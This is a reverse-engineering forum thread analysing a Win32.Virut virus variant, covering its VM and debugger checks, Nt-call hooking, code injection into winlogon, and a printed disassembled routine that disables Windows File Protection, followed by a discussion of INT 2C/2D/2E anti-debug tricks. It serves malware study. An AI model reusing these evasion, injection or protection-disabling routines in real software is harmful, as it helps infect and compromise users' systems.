Log in

View Full Version : IDC scripting a Win32.Virut variant - Part 2


Kayaker
December 19th, 2007, 04:10
This post continues Part 1 ("http://www.woodmann.com/forum/showthread.php?t=11076"), which should be read first for reference.

Some points of interest about the viral code itself:

There is a small RDTSC timing check at the start. If the difference between 2 RDTSC calls is greater than 0x100 then it's determined that you're in a VM or single step tracing the code (or have only 4K of memory maybe!). In that case the virus doesn't infect but instead returns to the default address of 0x40101D and only tries to connect to the irc server.

Doing a little test I found that 2 RDTSC calls would return a difference of between 1000-1500 ticks under VMWare, but only 50 ticks under a real system. Not a sophisticated VM test, but it seems to work.


There is also apparently a Redpill type VM check which I found crashes under VMWare.

Code:
:0040323A RedPill: ; CODE XREF: Main+2
:0040323A push eax
:0040323B sidt qword ptr [esp-2]
:00403240 pop eax
:00403241 mov eax, [eax+6] ; invalid pointer, crashes under VMWare
:00403241 ; buggy code?!
:00403244 shl eax, 10h
:00403247 jns short Force_RDTSC_test_to_fail



The virus is Win9x/Me compatible. If the OS is Win2K or greater it hooks NtCreateFile / NtOpenFile. If Win9x, it hooks VWIN32_Int21Dispatch and monitors for the MS-DOS LFN (long file name) service 0x716C, which is used for open/create. The Win9x related stuff is "old school" and has been documented before. If interested see:

The VxDCall backdoor http://vx.netlux.org/lib/vgy06.html
VIRUS ANALYSIS 2 http://peterszor.com/hps.pdf


The virus copies itself to the last section of a file it infects, but the initial seed value for the Xor decryption routine is different for every infected file (uses an RDTSC randomization), showing its polymorphic nature. After copying itself from running memory into the file, the main Decrypt function is called once again, but this time it's encrypting itself in the file, the XOR routine being reversible.


After determining the system offsets for the Nt calls it hooks, the virus creates a section, maps itself into it, then immediately continues execution from this high memory mapping address. All further execution is run from this memory mapped image. This makes it a little more difficult when live tracing and comparing addresses to the disassembly, but the jump to high memory makes a great breakpoint when you get deeper into the live analysis.

.data:004035FE lea eax, dword_403606
.data:00403604 jmp eax
.data:00403606 ... ; this is now running from high mem


One interesting (though not original) thing the virus does is how it disables Windows File Protection (WFP) so it can infect any file in any directory without being subverted.

Immediately after beginning execution in the high memory mapped section that I just mentioned, it calls NtAdjustPrivilegesToken with SeDebugPrivilege privilege so it is able to call CreateRemoteThread() in the Winlogon process.

How to obtain a handle to any process with SeDebugPrivilege
http://support.microsoft.com/kb/131065

Using a CreateToolhelp32Snapshot/Process32Next loop, it scans for the 4th process returned, or Winlogon. Then it hooks the 4 Nt calls within the winlogon address context by overwriting the Service Id of the relevant Zw ntdll KiFastSystemCall with a detour to its own hook routine (which is mapped into winlogon memory space).

Once this is done it calls CreateRemoteThread followed by a short Sleep routine to let the remote thread execute within winlogon context. After the Sleep nap, the CreateToolhelp32Snapshot loop continues and hooks the 4 Nt calls in every other active process.

The aforementioned CreateRemoteThread winlogon thread does a number of things besides disabling WFP. It sets up the Win9x/Me VxDCall file hook if applicable, writes the irc sites IP address to the Windows hosts file, accesses the registry, creates some Events, creates a couple more threads, one of which maps out ntoskrnl and the KeServiceDescriptorTable, tries to connect to the internet, etc.


WFP is disabled by patching in a call to ExitThread immediately after a NtWaitForMultipleObjects call in an sfc.os.dll function called SfcWatchProtectedDirectoriesWorkerThread. The function name pretty much describes what it does, it's a worker thread which continually monitors for file changes from a protected dll list. After patching SfcWatchProtectedDirectoriesWorkerThread the virus calls SfcTerminateWatcherThread. (IDA + symbols is a wonderful thing )

Here is what the function looks like in code:

Code:
// The search pattern in sfc.os.dll

:00403CE4 Pattern_SFC_OS_DLL: ; DATA XREF: Disable_WFP+F
:00403CE4 6A 01 push 1
:00403CE6 6A 01 push 1
:00403CE8 FF 33 push dword ptr [ebx]
:00403CEA FF 73 04 push dword ptr [ebx+4]
:00403CEA ; -----------------------------------------------
// part of call ds:NtWaitForMultipleObjects
:00403CED FF 15 dw 15FFh



:00403CEF Disable_WFP proc near

// EAX = base address of sfc.os.dll returned from GetModuleHandleA

:00403CEF test eax, eax
:00403CF1 jz short locret_403CE3
:00403CF3 push 0Bh
:00403CF8 mov edx, eax
:00403CFA pop ebx
:00403CFB add edx, [eax+IMAGE_DOS_HEADER.e_lfanew]
:00403CFE lea esi, Pattern_SFC_OS_DLL

// SectionTable.PointerToRawData .text section
:00403D04 mov edi, [edx+10Ch]
// SectionTable.SizeOfRawData .text section
:00403D0A mov ecx, [edx+108h]

:00403D10 add edi, eax
:00403D12 sub ecx, ebx
:00403D14
:00403D14 Find_Pattern: ; CODE XREF: Disable_WFP+2E
:00403D14 pusha
:00403D15 mov ecx, ebx
:00403D17 repe cmpsb
:00403D19 popa
:00403D1A jz short loc_403D21
:00403D1C inc edi
:00403D1D loop Find_Pattern
:00403D1F jmp short locret_403CE3
:00403D21 ; ----------------------------------------------------
:00403D21
:00403D21 loc_403D21: ; CODE XREF: Disable_WFP+2B
:00403D21 add edi, 0Fh
:00403D24 push edi
:00403D25 mov edx, esp
:00403D27 push ebx
:00403D28 mov ecx, esp
:00403D2A push eax
:00403D2B push esp ; OldProtect
:00403D2C push 40h ; Protect
:00403D2E push ecx ; RegionSize
:00403D2F push edx ; BaseAddress
:00403D30 push 0FFFFFFFFh ; hProcess
:00403D32 call NtProtectVirtualMemory
:00403D38 add esp, 0Ch
:00403D3B mov edx, ExitThread
:00403D41 sub edx, edi
:00403D43 sub edx, 7

// Patch in ExitThread call immediately after
// NtWaitForMultipleObjects in sfc.os function
// SfcWatchProtectedDirectoriesWorkerThread

// patch in push eax opcodes (6A00) + Call near, relative opcode (E8)
:00403D46 mov dword ptr [edi], 0E8006Ah

// patch in ExitThread displacement
:00403D4C mov [edi+3], edx

:00403D4F retn
:00403D4F Disable_WFP endp ;
Once I figured out what the code was doing I was able to do a search and found that the entire routine for disabling WFP was ripped from here:

Win2k.SFPDisable
http://www.hackemate.com.ar/ezines/29a/29a-6/Articles/29A-6.001



And finally, and congratulations if you're still reading this, there is a mysterious Int 0x2C interrupt call at the start of the program. This call is the main reason this virus held my interest for so long and is ultimately the genesis of this article. I was hoping a full analysis of the program would point out its purpose. Alas, I'm still as clueless as when I started.


Therefore I open up to speculation (or reason or knowledge), the true function of this Int2C call, if there is one, to you Gentle Reader (may Asimov forgive me).


Here is the start of the code once again showing the important bits. I've tried to outline the "normal" path of infection by highlighting in Blue. Under any condition that I can see, Int2C will always return STATUS_NO_EVENT_PAIR, so that particular path of execution is fixed.

The question is then. is this just quirky code to confuse us, or can an Int2C call have a real purpose in Ring3 under certain conditions?


Code:
:00403200 start proc near
:00403200 cld
:00403201 call Main

:00403201 start endp
:00403201

:0040321F popebp_ret:
:0040321F pop ebp
:00403220 retn
.
:00403221 Force_RDTSC_test_to_fail:
:00403221 push ebp
:00403222 mov eax, 8000h
:00403227 xor ecx, ecx
:00403229 jmp short loc_403255


:0040322E Main proc near
:0040322E test eax, eax
:00403230 jnz short RedPill
:00403232 INT 2Ch
// returns STATUS_NO_EVENT_PAIR (0C000014Eh)
:00403234 test eax, eax
:00403236 jns short Force_RDTSC_test_to_fail
:00403238 jmp short RDTSC_Check

:0040323A RedPill:
:0040323A push eax
:0040323B sidt fword ptr [esp-2]
:00403240 pop eax
:00403241 mov eax, [eax+6]
:00403244 shl eax, 10h
:00403247 jns short Force_RDTSC_test_to_fail
:00403249
:00403249 RDTSC_Check:
:00403249 push ebp
:0040324A call _RDTSC
:0040324F xchg eax, ecx
:00403250 call _RDTSC

:00403255
:00403255 loc_403255:
:00403255 sub eax, ecx
:00403257 mov ebp, [esp+4]
:0040325B sub dword ptr [esp+4]
:00403263 sub eax, 100h

:00403268 jnb short popebp_ret
:0040326A sub ebp, 301006h
:00403270 lea eax, startdecrypt
:00403276 mov dx, [eax-65h]
:0040327D call Decrypt
So what is interrupt Int 0x2C?

Well, in Vista it's apparently used as part of the WDK NT_ASSERT macro implemented as DbgRaiseAssertionFailure(). This macro embeds an Int2C in driver code and raises an assert exception which is passed to the kernel debugger if present. For reference see the following article (or its google cache), or search for 'NT_ASSERT'.

www.osronline.com/article.cfm?article=474


The only other useful information I found for Int2C, and of a completely different nature, deals with client/server Local Procedure Call (LPC) communication using an EventPair (hence the source of the STATUS_NO_EVENT_PAIR return error). See the following 2 articles:

http://www.windowsitlibrary.com/Content/356/08/6.html
http://www.windowsitlibrary.com/Content/356/08/5.html


It's easy enough to trace into an Int2C from user mode using Softice. You'll find that in XP it calls ntoskrnl!KiSetLowWaitHighThread. With IDA and symbols in hand, plus a prototype header file for the ETHREAD and KTRAP_FRAME structures you can define the entire short function.


I'm not going to speculate on the Int2C any further at this point, but I leave this as an introduction. I'm fairly certain another member here will soon post another interesting twist to this Int2C saga

JMI
December 19th, 2007, 10:14
As always, very interesting analysis Kayaker!

Regards,

Raindog
January 3rd, 2008, 12:19
Anyone have any ideas about the int2c other than obfuscation besides what was written here? http://zairon.wordpress.com/2007/12/19/beware-of-int-2c-instruction/

Kayaker
January 3rd, 2008, 20:35
It's possible that it's a kernel debugger check for Vista, though I'm only guessing at this point. If you look at the description of Int2C in Vista (KiRaiseAssertion) that omega_red posted here

http://www.woodmann.com/forum/showthread.php?t=11078

we see that the default exception code is STATUS_ASSERTION_FAILURE (0xC0000420).

The whole point of the interrupt in Vista is to allow a kernel debugger to intercede (though it's meant to be called from ring0 not ring3 as this virus is doing).

So, the possible return values from Int2C that the virus checks for will be:

STATUS_ASSERTION_FAILURE = 0xC0000420
TRUE = 1
FALSE = 0

The only pertinent return value for the virus code, if this is some sort of check, is if it returns FALSE, in which case the code will execute what I called the Force_RDTSC_test_to_fail function. That simply means that the instruction
:00403263 sub eax, 100h
will always be positive (8000h - 100h) and the virus won't run its Decrypt payload.
(sub eax, 100h would normally be negative if outside a VM because the RDTSC ticks result in eax would be ~50h)


I don't have Vista so I can't test the Int2C in it, but there will undoubtedly be a kernel debugger check in the function similar to the one in XP. Either checking the ETHREAD.DebugActive field or possibly the KdDebuggerEnabled or KdDebuggerNotPresent export directly.

In the Int2C / KiSetLowWaitHighThread version in XP it looks like this:

test byte ptr [ETHREAD.DebugActive], 0FFh
jnz Dr_kslwh_a

(Dr_kslwh_a seems to restore the debug registers as they were at the time of the interrupt from KPCRB.KPROCESSOR_STATE.CONTEXT).



So anyway, back to Vista..

The easiest way to test the assumption is to code an Int2C and trace it with Softice or WinDbg... with and without a kernel debugger (not Softice) attached.

I tried to do this when I was testing the Int2C in XP but I was unable to get an enabled ETHREAD.DebugActive (even though I set up a VMWare/host WinDbg serial kernel debugging setup). Maybe you need a "real" remote kernel debugger setup to get that ETHREAD field filled, or maybe someone knows the trick?


It's possible (again just a guess) that a return value of FALSE = 0 might be triggered in Vista when calling Int2C from usermode when - there is a kernel debugger detected but the exception wasn't handled (if it was handled it should return TRUE). (One could just force the check manually in Softice and interpret what the return values would be).


For an explanation of possible return values from KiDispatchException with and without a debugger see this article.

Kernel and remote debuggers
http://www.vsj.co.uk/articles/display.asp?id=265


I wouldn't want to speculate any further, but it would be great if someone could test all this on Vista.

Who knows, maybe the virus writer was just goofy and thought he was doing something clever. Or, maybe he was clever..

Kayaker

blabberer
January 4th, 2008, 11:31
Quote:

The whole point of the interrupt in Vista is to allow a kernel debugger to intercede (though it's meant to be called from ring0 not ring3 as this virus is doing).


not arguing for vista but int 2c is callable from ring 3 legally using compiler intrinsics in cl

__int2c Generates the int 2c instruction, which triggers the 2c interrupt.

check out this link for a set of intrinsics that are legally usable
http://www.codeproject.com/KB/vista/vista_x64.aspx

edit i embed the contents here for easy refererance

Code:

Enough of this trivia. Here's a list of the intrinsics for x64 taken from the MSDN (many of them are supported on x86 as well):

_AddressOfReturnAddress Provides the address of the memory location that holds the return address of the current function. This address may not be used to access other memory locations (for example, the function's arguments).
__addgsbyte, __addgsword, __addgsdword, __addgsqword Add a value to a memory location specified by an offset relative to the beginning of the GS segment.
__assume Passes a hint to the optimizer.
_BitScanForward, _BitScanForward64 Search the mask data from least significant bit (LSB) to the most significant bit (MSB) for a set bit (1).
_BitScanReverse, _BitScanReverse64 Search the mask data from most significant bit (MSB) to least significant bit (LSB) for a set bit (1).
_bittest, _bittest64 Generates the bt instruction, which examines the bit in position b of address a, and returns the value of that bit.
_bittestandcomplement, _bittestandcomplement64 Generate the btc instruction, which examines bit b of the address a, returns its current value, and sets the bit to its complement.
_bittestandreset, _bittestandreset64 Generate the btr instruction, which examines bit b of the address a, returns its current value, and resets the bit to 0.
_bittestandset, _bittestandset64 Generate the bts instruction, which examines bit b of the address a, returns its current value, and sets the bit to 1.
__debugbreak Causes a breakpoint in your code, where the user will be prompted to run the debugger.
_disable Disables interrupts.
__emul, __emulu Performs multiplications that overflow what a 32-bit integer can hold.
_enable Enables interrupts.
__faststorefence Guarantees that every preceding store is globally visible before any subsequent store.
__getcallerseflags Returns the EFLAGS value from the caller's context.
__inbyte Generates the in instruction, returning one byte read from the port specified by Port.
__inbytestring Reads data from the specified port using the rep insb instruction.
__incgsbyte, __incgsword, __incgsdword, __incgsqword Add one to the value at a memory location specified by an offset relative to the beginning of the GS segment.
__indword Reads one double word of data from the specified port using the in instruction.
__indwordstring Reads data from the specified port using the rep insd instruction.
__int2c Generates the int 2c instruction, which triggers the 2c interrupt.
_InterlockedAnd, _InterlockedAnd64 Used to perform an atomic AND operation on a variable shared by multiple threads.
_interlockedbittestandreset, _interlockedbittestandreset64 Generate the lock_btr instruction, which examines bit b of the address a and returns its current value.
_interlockedbittestandset, _interlockedbittestandset64 Generate the lock_bts instruction, which examines bit b of the address a and returns its current value.
_InterlockedCompareExchange, _InterlockedCompareExchange64, _InterlockedCompare64Exchange128, _InterlockedCompare64Exchange128_acq, _InterlockedCompare64Exchange128_rel Provides compiler intrinsic support for the Win32 Platform SDK InterlockedCompareExchange function.
_InterlockedCompareExchangePointer Perform an atomic exchange operation, which copies the address passed in as the second argument to the first and returns the original address of the first.
_InterlockedDecrement, _InterlockedDecrement64 Provides compiler intrinsic support for the Win32 Platform SDK InterlockedDecrement function.
_InterlockedExchange, _InterlockedExchange64 Provide compiler intrinsic support for the Win32 Platform SDK InterlockedExchange function.
_InterlockedExchangeAdd, _InterlockedExchangeAdd64 Provide compiler intrinsic support for the Win32 Platform SDK _InterlockedExchangeAdd Intrinsic Functions function.
_InterlockedExchangePointer Perform an atomic exchange operation, which copies the address passed in as the second argument to the first and returns the original address of the first.
_InterlockedIncrement, _InterlockedIncrement64 Provide compiler intrinsic support for the Win32 Platform SDK InterlockedIncrement function.
_InterlockedOr, _InterlockedOr64 Perform an atomic operation (in this case, the OR operation) on a variable shared by multiple threads.
_InterlockedXor, _InterlockedXor64 Used to perform an atomic operation (in this case, the exclusive or XOR operation) on a variable shared by multiple threads.
__invlpg Generates the x86 invlpg instruction, which invalidates the translation lookaside buffer (TLB) for the page associated with memory pointed to by Address.
__inword Reads data from the specified port using the in instruction.
__inwordstring Reads data from the specified port using the rep insw instruction.
__ll_lshift Shifts a 64-bit value specified by the first parameter to the left by a number of bits specified by the second parameter.
__ll_rshift Shifts a 64-bit value specified by the first parameter to the right by a number of bits specified by the second parameter.
__load128, __load128_acq Loads a 128-bit value atomically.
_mm_cvtsd_si64x Generates the x64 extended form of the Convert Scalar Double-Precision Floating-Point Value to 64-Bit Integer (cvtsd2si) instruction, which takes the double in the first element of value and converts it to a 64-bit integer.
_mm_cvtsi128_si64x Generates the x64 extended form of the movd instruction, which extracts the low 64-bit integer from an __m128i structure.
_mm_cvtsi64x_sd Generates the Convert Double Word Integer to Scalar Double-Precision Floating-Point Value (cvtsi2sd) instruction.
_mm_cvtsi64x_si128 Generates the x64 extended form of the movd instruction, which copies a 64-bit value to a __m128i structure, which represents an XMM register.
_mm_cvtsi64x_ss Generates the x64 extended version of the Convert 64-Bit Integer to Scalar Single-Precision Floating-Point Value (cvtsi2ss) instruction.
_mm_cvtss_si64x Generates the x64 extended version of the Convert Scalar Single Precision Floating Point Number to 64-bit Integer (cvtss2si) instruction.
_mm_cvttsd_si64x Generates the x64 extended version of the Convert with Truncation Scalar Double-Precision Floating-Point Value to 64-Bit Integer (cvttsd2si) instruction, which takes the first double in the input structure of packed doubles, converts it to a 64-bit integer, and returns the result.
_mm_cvttss_si64x Emits the x64 extended version of the Convert with Truncation Single-Precision Floating-Point Number to 64-Bit Integer (cvttss2si) instruction.
_mm_set_epi64x Returns the __m128i structure with its two 64-bit integer values initialized to the values of the two 64-bit integers passed in.
_mm_set1_epi64x Provides a way to initialize the two 64-bit elements of the __m128i structure with two identical integers.
_mm_setl_epi64 Returns the lower 64 bits of source argument in the lower 64 bits of the result.
_mm_stream_si64x Writes the data in Source to a memory location specified by Dest, without polluting the caches.
__movsb Generates a Move String (rep movsb) instruction.
__movsd Generates a Move String (rep movsd) instruction.
__movsq Generates a repeated Move String (rep movsq) instruction.
__movsw Generates a Move String (rep movsw) instruction.
__mul128 Multiplies two 64-bit integers passed in as the first two arguments and puts the high 64 bits of the product in the 64-bit integer pointed to by HighProduct and returns the low 64 bits of the product.
__mulh Returns the high 64 bits of the product of two 64-bit signed integers.
__outbyte Generates the out instruction, which sends 1 byte specified by Data out the I/O port specified by Port.
__outbytestring Generates the rep outsb instruction,which sends the first Count bytes of data pointed to by Buffer to the port specified by Port.
__outdword Generates the out instruction to send a doubleword Data out the port Port.
__outdwordstring Generates the rep outsd instruction, which sends Count doublewords starting at Buffer out the I/O port specified by Port.
__rdtsc Generates the rdtsc instruction, which returns the processor time stamp. The processor time stamp records the number of clock cycles since the last reset.
_ReadBarrier Forces memory reads to complete.
__readcr0, __readcr2, __readcr3, __readcr4, __readcr8 Read the control registers. These intrinsics are only available in kernel mode.
__readfsbyte, __readfsdword, __readfsqword, __readfsword Read memory from a location specified by an offset relative to the beginning of the FS segment. These intrinsics are only available in kernel mode.
__readgsbyte, __readgsdword, __readgsqword, __readgsword Read memory from a location specified by an offset relative to the beginning of the GS segment. These intrinsics are only available in kernel mode.
__readmsr Generates the rdmsr instruction, which reads the model-specific register specified by register and returns its value. This function may only be used in kernel mode.
__readpmc Generates the rdpmc instruction, which reads the performance monitoring counter specified by counter.
_ReadWriteBarrier Effectively blocks an optimization of reads and writes to global memory.
_ReturnAddress The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller.
__shiftleft128 Shifts a 128-bit quantity, represented as two 64-bit quantities LowPart and HighPart, to the left by a number of bits specified by Shift and returns the high 64 bits of the result.
__shiftright128 Shifts a 128-bit quantity, represented as two 64-bit quantities LowPart and HighPart, to the right by a number of bits specified by Shift and returns the low 64 bits of the result.
__store128, __store128_rel Stores a 128-bit value atomically.
__stosb Generates a store string instruction (rep stosb).
__stosd Generates a store string instruction (rep stosd).
__stosq Generates a store string instruction (rep stosq).
__stosw Generates a store string instruction (rep stosw).
__ull_rshift on x64, shifts a 64-bit value specified by the first parameter to the right by a number of bits specified by the second parameter.
_umul128 Multiplies two 64-bit unsigned integers passed in as the first two arguments and puts the high 64 bits of the product in the 64-bit unsigned integer pointed to by HighProduct and returns the low 64 bits of the product.
__umulh Return the high 64 bits of the product of two 64-bit unsigned integers.
__wbinvd Generates the Write Back and Invalidate Cache (wbinvd) instruction.
_WriteBarrier Forces memory writes to complete and be correct according to program logic at the point of the call.
__writecr0, __writecr3, __writecr4, __writecr8 Write the control registers. These intrinsics are only available in kernel mode.
__writefsbyte, __writefsdword, __writefsqword, __writefsword Write memory to a location specified by an offset relative to the beginning of the FS segment. These intrinsics are only available in kernel mode.
__writegsbyte, __writegsdword, __writegsqword, __writegsword Write memory to a location specified by an offset relative to the beginning of the GS segment. These intrinsics are only available in kernel mode.
__writemsr Generates the Write to Model Specific Register (wrmsr) instruction. This function may only be used in kernel mode.

There are also some 3D intrinsics (called 3DNow) which will be useful for game/3D coders. I left those intrinsics out of the list since they were too many and you'd need to include another header file to use them: "mm3dnow.h".

If these intrinsics are not enough, you might need to use an external asm file. On the other hand, if you're really lazy and you just need something on the fly, there's a quick way to embed assembly code in your C/C++ files.




also you can checkout the osronline article which talks about NT_ASSERT macro

Quote:


INT 2C
DbgRaiseAssertionFailure is either implemented as a compiler intrinsic or an inline function. Let's check out the inline function shown below.

FORCEINLINE
VOID
DbgRaiseAssertionFailure (
void
)

{
__asm int 0x2c
}


Ah yes, so it calls the old INT 2C handler... OK, so maybe I've never heard of using INT 2C for anything other than some perverted NT4 thing, but that's neither here nor there.
If you dump the IDT on your Vista system, you'll notice that the handler for the 2C interrupt is KiRaiseAssertion. If you continue to dig further, you'll notice that the execution of this routine results in a STATUS_ASSERTION_FAILURE exception being raised (we'll leave that digging as an exercise to the reader).


Let's see what we get in the debugger (below) by adding a call to this inline to the Nothing driver (shown in Figure 4):

Assertion failure - code c0000420 (first chance)
NOTHING!DriverEntry+0x1f:
8d2e602f cd2c int 2Ch

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObj, PUNICODE_STRING RegistryPath)
{
NTSTATUS code;
PNOTHING_DEVICE_EXT devExt;
PDEVICE_OBJECT devObj;
UNICODE_STRING devName, linkName;

DbgPrint("\nOSR NT4 DO NOTHING Driver -- Compiled %s %s\n",
__DATE__, __TIME__);

DbgRaiseAssertionFailure();

Figure 4 - Adding DbgRaiseAssertionFailure to Driver




Nothing too shocking here. The inline function embedded an INT 2C in our code, which resulted in an assert exception being raised. However, hitting GO at this point reveals an interesting set of commands that were added to the debugger for handling the new assertions (see below).

kd> g
Continuing an assertion failure can result in the
debuggee being terminated (bugchecking for kernel
debuggees).
If you want to ignore this assertion, use 'ahi'.
If you want to force continuation, use 'gh' or 'gn'.


So, one advantage to using DbgRaiseAssertionFailure over DbgBreakPoint (or __debugbreak) is that the debugger has built-in support for ignoring the asserts it generates. Anyone who has been stuck having to NOP out a bogus ASSERT knows what a rockin' feature this is.


It turns out that there are several options available to the 'ah' command for dealing with individual asserts. There's even a new option to the 'sx' command for global assert handling. The WinDBG docs have all the details, so we won't bother duplicating that information here.


JMI
January 4th, 2008, 14:50
Thanks blabberer:

Also a very interesting addition to Kayaker's original subject matter.

Regards.

GEEK
March 22nd, 2008, 08:54
Excellent work by Kayaker
i had experienced this virus a few months back and i remember i was going absolutely mad with no solution with even antivirus developers. After a few months they were able to handle it. This virus is really really nasty and the worst i have seen.
Infact i was just wishing that Zairon or somebody analyze it to death and was pleasantly surprised when i found this.

GEEK

simonzack
May 19th, 2009, 10:07
Thank you so much Kayaker,
this analysis explained the two things which I weren't sure about,
one with patching the ExitThread in ofc, which olly didn't label what the calls were, only ofc.#2,
the second one is the int2C, which the new variant (?) of the virus changed to int2E
I don't know, but from your analysis, think that the same function is performed
I have no idea if the virus I have is the new version, as strangely, it does not have the sidt instruction in it

Kayaker
May 19th, 2009, 20:37
Hi. I'm glad it was useful. That's interesting about the Int2E being used. Do you have any code example of how it's being used? Maybe someone can glean out its purpose.

In case you missed it, Zairon did some further analysis on the behaviour of Int2C.

Beware of int 2c instruction
http://www.woodmann.com/forum/showthread.php?t=11078

dELTA
July 23rd, 2009, 17:41
I just saw a mention of Int 2d used as an anti-debugging trick at another site, and since Int 2c and Int 2e are apparently being discussed/investigated here for the same purpose, I guess it's not completely out of the question that it could have something to do with the same mechanism?

You will the explanation at the following link anyway, in the rather unusual form of a cartoon (you will find it mentioned/explained at about the center of the page, in its current form), made by one of the CTF teams at this year's DEFCON:

http://hackerschool.org/DefconCTF/17/B300.html

Also, could by any chance the following older thread discussing Int 2d be relevant in any way?

http://www.woodmann.com/forum/showthread.php?t=9678

BanMe
July 23rd, 2009, 22:07
int 0x2e .. is the sister to sysenter
int 0x2e mechanism is still present in xp not sure about vista or rc7
int 0x2d is also used as the debug service caller which aparently like push/pop ss as darawk described can be used to "run out of the debugger".

I think they function in almost the same way..__fastcall..

some links..
http://www.codeguru.com/cpp/w-p/system/devicedriverdevelopment/article.php/c8223
http://www.piotrbania.com/all/adv/sice-adv.txt
http://www.openrce.org/reference_library/anti_reversing_view/34/INT%202D%20Debugger%20Detection/

regards BanMe

Kayaker
July 23rd, 2009, 23:03
Oh that is really cool - a cartoon tutorial. It's a good one too, both the art and the content. I wish they'd make more, I'd read more tuts

Int2D is being used in conjunction with an SEH to trap a debugger. That wasn't the case with the Int2C in the above case, no SEH was involved.

simonzack mentioned that a new variant might be using Int2E in a similar way to the Int2C, but he didn't post any code so we could compare its usage. The real purpose behind the Int2C in Virut is still a mystery, though several possibilities were discussed above.

Thanks for the link d.